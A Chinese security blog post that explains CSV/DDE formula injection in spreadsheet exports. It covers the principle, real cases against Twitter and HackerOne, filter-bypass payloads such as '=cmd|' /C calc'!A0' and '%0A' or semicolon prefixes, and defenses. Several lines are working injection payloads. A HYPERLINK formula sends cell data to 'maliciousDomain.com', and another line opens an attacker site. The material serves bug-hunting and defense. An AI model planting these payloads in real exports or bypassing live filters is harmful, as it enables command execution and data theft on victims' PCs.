DDE注入(CSV)漏洞原理及实战案例全汇总

admin 2023年5月15日07:57:56DDE注入(CSV)漏洞原理及实战案例全汇总已关闭评论58 views字数 2321阅读7分44秒阅读模式

在渗透中遇到导出功能时,会如何进行测试?任意文件下载?或者越权查看?很多人很容易忽略的是DDE注入:导出格式为csv,xls时,或许你可以尝试构造这个漏洞,它不会对网站本身产生危害,但会对终端用户造成任意OS命令执行等危害。


1、漏洞原理:

1)Excel解析机制

第一个需要知道的知识点是,在Excel任何以'='字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入“=2+5”,则表格会显示为:

实际上,除了=号,以下符号都可用于在Microsoft Excel中触发公式解释:

  • 等于(“=”)
  • 加(“+”)
  • 减号(“ - ”)
  • 在 (”@”)

这个可以帮助我们在等号=被过滤时,使用其他运算符绕过。

2)DDE注入

动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。比如我们构造包含如下字符串的csv或xls文件:

=cmd | '/ C calc' !A0

Excel会尝试调用本机CMD命令,给出友好提示,若用户在无意识状态下点击“是”:

而后尝试接受更正拼写错误,不接受更正则会执行cmd命令,弹出计算器:

所以攻击的路线就很清晰了:

业务系统接受用户输入并导出为csv——>恶意用户通过界面输入payload——>受害者下载文件并在PC运行——>受害者PC被攻击。因此DDE注入攻击是一种攻击源来自网站,但最终目标是普通用户PC的一种攻击。

2、漏洞危害:

1)OS命令执行

OS任意命令执行是最主要的危害,像上面讲过的,可以使用= cmd | '/ C calc' !A0弹计算器或者使用=cmd|'/k ipconfig'!A0弹出ipconfig命令的方式探测漏洞是否存在。类比XSS的利用思路,如果系统可以实现alert(1)弹框效果,说明我们可以执行任意的js代码,这取决于我们的利用思路。比如:

  • 添加用户;
  • 开启任意应用程序:IE;
  • 操作注册表;
  • 反弹shell;

2)信息泄露

超链接功能 Hyperlink创建快捷方式并进行跳转,单击包含HYPERLINK函数的单元格时,Microsoft Excel将打开存储在link_location的文件,如:

可将表格其中一个单元格设置为以下形式:

=HYPERLINK(“https://maliciousDomain.com/evil.html?data=”&A1,“Click to view additional information”)”

将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据到maliciousDomain.com,从而导致信息泄露。当然使用第一种攻击方式也可以实现这种攻击效果,如:

=6-5 cmd|’ /C “C:\Program Files\InternetExplorer\iexplore.exe” http://<attackers site>/asd.html’!A0

它将用户定向到恶意钓鱼网站,实现窃取哈希值和口令等操作。

3、实战案例

1)Twitter导出数据处DDE

Twitter用户发帖,输入:

界面导出数据处,导出csv文件并在Excel中查看:

若输入payload:=cmd|' /Ccalc'!A0再次执行,弹出计算器:

2)Hackerone报告导出

这是对于Hackerone过滤的一个绕过,网站后台对于等号=之前新增单引号‘以防止公式执行。但在报告导出功能处参数title输入:

%0A-2+3+cmd|' /C calc'!D2:

%0A被解析为换行符,使得payload正常执行:

3)Hackerone过滤绕过

这是对后台过滤的第二次绕过,在等号前加一个分号;可绕过:

;=cmd|' /C calc'!A0

Excel识别并解析分隔符;,将数据拆分并执行:

4、挖掘思路:

此漏洞特征较明显,因此思路简单:

1、关注系统中是否有导出为csv或xls表格的功能,一般存在于信息统计,日志导出等功能处;

2、确定导出的内容是否用户可控:

1)可能在界面可直接进行编辑/新增;

2)通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;

3、输入处写入测试脚本=2*10,导出后查看表格内容是否解析,输入:

导出后查看,成功解析:

4、存在过滤,尝试绕过,最后进行OS执行等深入利用。

5、绕过技巧:

根据案例和挖掘经验,总结常用的绕过payload有:

1、-3+2+cmd |’ /C calc’ !A0

在等于号被过滤时,可以通过运算符+-的方式绕过;

2、%0A-3+3+cmd|' /C calc'!D2

参数处输入此payload,%0A被解析,从而后面的数据跳转到下一行;

3、;-3+3+cmd|' /C calc'!D2

导出文件为csv时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行,本机测试:

4、@SUM(cmd|'/c calc'!A0)

5、=HYPERLINK("https://evil.com")

6、防御手段

1)一般的防御手段为,在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号(')字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险。

2)更好的防御手段为,根据业务需求控制用户输入为字母数字字符;或黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日07:57:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DDE注入(CSV)漏洞原理及实战案例全汇总https://cn-sec.com/archives/1708511.html